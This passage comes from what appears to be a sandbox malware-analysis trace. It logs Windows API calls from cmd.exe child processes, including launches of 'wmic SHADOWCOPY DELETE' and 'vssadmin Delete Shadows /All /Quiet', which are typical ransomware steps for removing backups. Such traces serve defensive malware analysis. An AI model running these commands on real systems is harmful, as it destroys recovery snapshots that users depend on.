_wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0070.969] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0070.969] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0070.970] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0070.970] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0070.970] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0070.970] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0070.970] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0070.970] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0070.970] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0070.970] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0070.970] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0070.970] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0070.970] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0070.970] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0070.970] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0070.970] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0070.970] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0070.970] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0070.970] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0070.970] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0070.970] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0070.970] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0070.970] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0070.970] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0070.970] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0070.970] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0070.970] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0070.970] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0070.970] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0070.970] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0070.970] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0070.970] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0070.970] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0070.970] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0070.970] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0070.970] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0070.970] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0070.971] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0070.971] ??_V@YAXPEAX@Z () returned 0x1 [0070.971] GetProcessHeap () returned 0x29f59760000 [0070.971] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xffde) returned 0x29f5976a560 [0070.972] GetProcessHeap () returned 0x29f59760000 [0070.972] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x40) returned 0x29f597613d0 [0070.972] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0070.972] malloc (_Size=0xffce) returned 0x29f59950040 [0070.972] ??_V@YAXPEAX@Z () returned 0x29f59950040 [0070.972] GetProcessHeap () returned 0x29f59760000 [0070.972] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x1ffac) returned 0x29f5977a550 [0070.974] SetErrorMode (uMode=0x0) returned 0x0 [0070.974] SetErrorMode (uMode=0x1) returned 0x0 [0070.974] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x29f5977a560, lpFilePart=0xd90d75f180 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xd90d75f180*="Desktop") returned 0x17 [0070.974] SetErrorMode (uMode=0x0) returned 0x1 [0070.974] GetProcessHeap () returned 0x29f59760000 [0070.974] RtlReAllocateHeap (Heap=0x29f59760000, Flags=0x0, Ptr=0x29f5977a550, Size=0x4a) returned 0x29f5977a550 [0070.974] GetProcessHeap () returned 0x29f59760000 [0070.974] RtlSizeHeap (HeapHandle=0x29f59760000, Flags=0x0, MemoryPointer=0x29f5977a550) returned 0x4a [0070.974] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0070.974] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.974] GetProcessHeap () returned 0x29f59760000 [0070.974] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x1bc) returned 0x29f59761420 [0070.974] GetProcessHeap () returned 0x29f59760000 [0070.974] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x368) returned 0x29f597615f0 [0071.038] RtlReAllocateHeap (Heap=0x29f59760000, Flags=0x0, Ptr=0x29f597615f0, Size=0x1be) returned 0x29f597615f0 [0071.039] GetProcessHeap () returned 0x29f59760000 [0071.039] RtlSizeHeap (HeapHandle=0x29f59760000, Flags=0x0, MemoryPointer=0x29f597615f0) returned 0x1be [0071.039] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff60b30bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.039] GetProcessHeap () returned 0x29f59760000 [0071.039] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xe8) returned 0x29f597617c0 [0071.040] RtlReAllocateHeap (Heap=0x29f59760000, Flags=0x0, Ptr=0x29f597617c0, Size=0x7e) returned 0x29f597617c0 [0071.040] GetProcessHeap () returned 0x29f59760000 [0071.040] RtlSizeHeap (HeapHandle=0x29f59760000, Flags=0x0, MemoryPointer=0x29f597617c0) returned 0x7e [0071.041] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.049] RtlReAllocateHeap (Heap=0x29f59760000, Flags=0x0, Ptr=0x29f597618b0, Size=0x8) returned 0x29f597618b0 [0071.049] FindClose (in: hFindFile=0x29f59761850 | out: hFindFile=0x29f59761850) returned 1 [0071.049] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.049] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.049] ??_V@YAXPEAX@Z () returned 0x1 [0071.049] GetConsoleTitleW (in: lpConsoleTitle=0xd90d75f470, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\System32\\cmd.exe") returned 0x1c [0071.570] InitializeProcThreadAttributeList (in: lpAttributeList=0xd90d75f390, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xd90d75f280 | out: lpAttributeList=0xd90d75f390, lpSize=0xd90d75f280) returned 1 [0071.570] UpdateProcThreadAttribute (in: lpAttributeList=0xd90d75f390, dwFlags=0x0, Attribute=0x60001, lpValue=0xd90d75f26c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xd90d75f390, lpPreviousValue=0x0) returned 1 [0071.571] GetStartupInfoW (in: lpStartupInfo=0xd90d75f320 | out: lpStartupInfo=0xd90d75f320*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.571] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.572] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.572] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.572] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.572] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.572] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.572] GetProcessHeap () returned 0x29f59760000 [0071.572] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59761850) returned 1 [0071.572] GetProcessHeap () returned 0x29f59760000 [0071.572] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0x12) returned 0x29f59761850 [0071.572] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0071.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0071.573] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0072.314] _get_osfhandle (_FileHandle=0) returned 0x4c [0072.315] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0072.916] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xd90d75f2b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic SHADOWCOPY DELETE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd90d75f288 | out: lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessInformation=0xd90d75f288*(hProcess=0x9c, hThread=0x98, dwProcessId=0xa80, dwThreadId=0xec4)) returned 1 [0073.624] CloseHandle (hObject=0x98) returned 1 [0073.624] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.624] GetProcessHeap () returned 0x29f59760000 [0073.624] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59769a80) returned 1 [0073.624] GetEnvironmentStringsW () returned 0x29f59765a20* [0073.624] GetProcessHeap () returned 0x29f59760000 [0073.624] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xacc) returned 0x29f59768fa0 [0073.624] FreeEnvironmentStringsA (penv="=") returned 1 [0073.625] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0108.225] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xd90d75f208 | out: lpExitCode=0xd90d75f208*=0x80041014) returned 1 [0108.226] CloseHandle (hObject=0x9c) returned 1 [0108.237] _vsnwprintf (in: _Buffer=0xd90d75f3d8, _BufferCount=0x13, _Format="%08X", _ArgList=0xd90d75f218 | out: _Buffer="80041014") returned 8 [0108.238] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0108.238] GetProcessHeap () returned 0x29f59760000 [0108.238] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59768fa0) returned 1 [0108.238] GetEnvironmentStringsW () returned 0x29f59767e60* [0108.238] GetProcessHeap () returned 0x29f59760000 [0108.238] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xaf2) returned 0x29f59768960 [0108.238] FreeEnvironmentStringsA (penv="=") returned 1 [0108.238] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0108.238] GetProcessHeap () returned 0x29f59760000 [0108.238] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59768960) returned 1 [0108.238] GetEnvironmentStringsW () returned 0x29f59767e60* [0108.238] GetProcessHeap () returned 0x29f59760000 [0108.238] RtlAllocateHeap (HeapHandle=0x29f59760000, Flags=0x8, Size=0xaf2) returned 0x29f59768960 [0108.238] FreeEnvironmentStringsA (penv="=") returned 1 [0108.238] GetProcessHeap () returned 0x29f59760000 [0108.238] RtlFreeHeap (HeapHandle=0x29f59760000, Flags=0x0, BaseAddress=0x29f59761850) returned 1 [0108.238] DeleteProcThreadAttributeList (in: lpAttributeList=0xd90d75f390 | out: lpAttributeList=0xd90d75f390) [0108.238] ??_V@YAXPEAX@Z () returned 0x1 [0108.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0108.239] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0108.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0108.485] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc08 | out: lpMode=0x7ff60b30fc08) returned 1 [0108.802] _get_osfhandle (_FileHandle=1) returned 0x50 [0108.802] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0109.412] _get_osfhandle (_FileHandle=0) returned 0x4c [0109.412] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc0c | out: lpMode=0x7ff60b30fc0c) returned 1 [0109.749] _get_osfhandle (_FileHandle=0) returned 0x4c [0109.749] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0110.336] SetConsoleInputExeNameW () returned 0x1 [0110.336] GetConsoleOutputCP () returned 0x1b5 [0111.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0111.224] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.679] exit (_Code=-2147217388) Thread: id = 144 os_tid = 0xe64 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4065a000" os_pid = "0x270" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf90" cmd_line = "\"C:\\WINDOWS\\System32\\cmd.exe\" /C vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 129 os_tid = 0xee4 [0068.357] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff60b2d0000 [0068.357] __set_app_type (_Type=0x1) [0068.357] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff60b2e6d00) returned 0x0 [0068.357] __getmainargs (in: _Argc=0x7ff60b309200, _Argv=0x7ff60b309208, _Env=0x7ff60b309210, _DoWildCard=0, _StartInfo=0x7ff60b30921c | out: _Argc=0x7ff60b309200, _Argv=0x7ff60b309208, _Env=0x7ff60b309210) returned 0 [0068.357] _onexit (_Func=0x7ff60b2e7fd0) returned 0x7ff60b2e7fd0 [0068.357] _onexit (_Func=0x7ff60b2e7fe0) returned 0x7ff60b2e7fe0 [0068.357] _onexit (_Func=0x7ff60b2e7ff0) returned 0x7ff60b2e7ff0 [0068.357] _onexit (_Func=0x7ff60b2e8000) returned 0x7ff60b2e8000 [0068.358] _onexit (_Func=0x7ff60b2e8010) returned 0x7ff60b2e8010 [0068.358] _onexit (_Func=0x7ff60b2e8020) returned 0x7ff60b2e8020 [0068.358] GetCurrentThreadId () returned 0xee4 [0068.358] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xee4) returned 0x7c [0068.358] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0068.359] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0068.359] SetThreadUILanguage (LangId=0x0) returned 0x409 [0068.408] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.408] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xdb5d8ffdc8 | out: phkResult=0xdb5d8ffdc8*=0x0) returned 0x2 [0068.408] VirtualQuery (in: lpAddress=0xdb5d8ffdb4, lpBuffer=0xdb5d8ffd30, dwLength=0x30 | out: lpBuffer=0xdb5d8ffd30*(BaseAddress=0xdb5d8ff000, AllocationBase=0xdb5d800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.408] VirtualQuery (in: lpAddress=0xdb5d800000, lpBuffer=0xdb5d8ffd30, dwLength=0x30 | out: lpBuffer=0xdb5d8ffd30*(BaseAddress=0xdb5d800000, AllocationBase=0xdb5d800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.408] VirtualQuery (in: lpAddress=0xdb5d801000, lpBuffer=0xdb5d8ffd30, dwLength=0x30 | out: lpBuffer=0xdb5d8ffd30*(BaseAddress=0xdb5d801000, AllocationBase=0xdb5d800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.408] VirtualQuery (in: lpAddress=0xdb5d804000, lpBuffer=0xdb5d8ffd30, dwLength=0x30 | out: lpBuffer=0xdb5d8ffd30*(BaseAddress=0xdb5d804000, AllocationBase=0xdb5d800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.408] VirtualQuery (in: lpAddress=0xdb5d900000, lpBuffer=0xdb5d8ffd30, dwLength=0x30 | out: lpBuffer=0xdb5d8ffd30*(BaseAddress=0xdb5d900000, AllocationBase=0xdb5d900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.408] GetConsoleOutputCP () returned 0x1b5 [0068.504] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff60b30fbb0 | out: lpCPInfo=0x7ff60b30fbb0) returned 1 [0068.505] SetConsoleCtrlHandler (HandlerRoutine=0x7ff60b2f8150, Add=1) returned 1 [0068.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.505] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc04 | out: lpMode=0x7ff60b30fc04) returned 1 [0068.563] _get_osfhandle (_FileHandle=0) returned 0x4c [0068.563] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc00 | out: lpMode=0x7ff60b30fc00) returned 1 [0068.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.602] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1 [0068.836] _get_osfhandle (_FileHandle=1) returned 0x50 [0068.836] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff60b30fc08 | out: lpMode=0x7ff60b30fc08) returned 1 [0069.389] _get_osfhandle (_FileHandle=1) returned 0x50 [0069.391] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0069.621] _get_osfhandle (_FileHandle=0) returned 0x4c [0069.621] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff60b30fc0c | out: lpMode=0x7ff60b30fc0c) returned 1 [0069.877] _get_osfhandle (_FileHandle=0) returned 0x4c [0069.877] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0070.379] GetEnvironmentStringsW () returned 0x242461a5a30* [0070.379] GetProcessHeap () returned 0x242461a0000 [0070.379] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xa7c) returned 0x242461a64c0 [0070.379] FreeEnvironmentStringsA (penv="A") returned 1 [0070.379] GetProcessHeap () returned 0x242461a0000 [0070.379] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0x8) returned 0x242461a6f50 [0070.379] GetEnvironmentStringsW () returned 0x242461a5a30* [0070.380] GetProcessHeap () returned 0x242461a0000 [0070.380] RtlAllocateHeap (HeapHandle=0x242461a0000, Flags=0x8, Size=0xa7c) returned 0x242461a6f70 [0070.380] FreeEnvironmentStringsA (penv="A") returned 1 [0070.380] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xdb5d8fec78 | out: phkResult=0xdb5d8fec78*=0x88) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x4, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x1, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x1, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x0, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x40, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x40, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x40, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegCloseKey (hKey=0x88) returned 0x0 [0070.380] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xdb5d8fec78 | out: phkResult=0xdb5d8fec78*=0x88) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x40, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x1, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x0, lpData=0xdb5d8fec90*=0x1, lpcbData=0xdb5d8fec74*=0x1000) returned 0x2 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x0, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xdb5d8fec70, lpData=0xdb5d8fec90, lpcbData=0xdb5d8fec74*=0x1000 | out: lpType=0xdb5d8fec70*=0x4, lpData=0xdb5d8fec90*=0x9, lpcbData=0xdb5d8fec74*=0x4) returned 0x0 [0070.380] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, 